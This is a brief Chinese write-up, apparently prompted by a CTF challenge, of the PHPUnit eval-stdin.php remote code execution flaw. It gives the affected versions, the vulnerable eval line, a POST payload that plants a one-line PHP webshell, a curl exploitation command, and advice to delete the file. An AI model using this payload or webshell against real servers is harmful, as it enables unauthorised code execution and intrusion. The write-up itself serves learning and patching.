phpunit 远程代码执行漏洞

1,256 阅读1分钟

phpunit 远程代码执行漏洞

一 漏洞概述:

PHPUnitPHP 程式语言中最常见的单元测试 (unit testing) 框架,通常 phpunit 使用 composer 非常流行的 PHP 依赖管理器进行部署,将会在当前目录创建一个 vendor 文件夹 .phpunit 生产环境中仍然安装了它,如果该编写器模块存在于 Web 可访问目录,则存在远程代码执行漏洞。

二 漏洞版本:

4.8.19 ~ 4.8.27、 5.0.10 ~ 5.6.2

三 原理:

至于原理只能搜集到下列信息,目前使用的phpunit一般为5.7或最新9,10等版本,几乎不存在这个漏洞的可能,要不是题目考到了,都不会知道有这个漏洞。

漏洞位于`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

eval(’?>’.file_get_contents(‘php://input’));`

四 漏洞利用方法

访问 http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

使用 POST 方法传递一段以 “<?php” 开头的木马。

直接 POST 一句话木马。

例如:


<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');

即可远程连接。

或者用 curl 命令连接传入木马。

例如,执行以下一段代码即可输出pi的值。


curl -XPOST --data “<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php


处理方法

安装源码时候可以检查一下里面有没有这个文件 eval-stdin.php,有则存在远程代码执行漏洞

总体来说就是向 vendor/phpunit/src/Util/PHP/eval-stdin.php 发送POST 请求执行 php 代码

直接把这个文件删了就行


参考: blog.csdn.net/csacs/artic…


End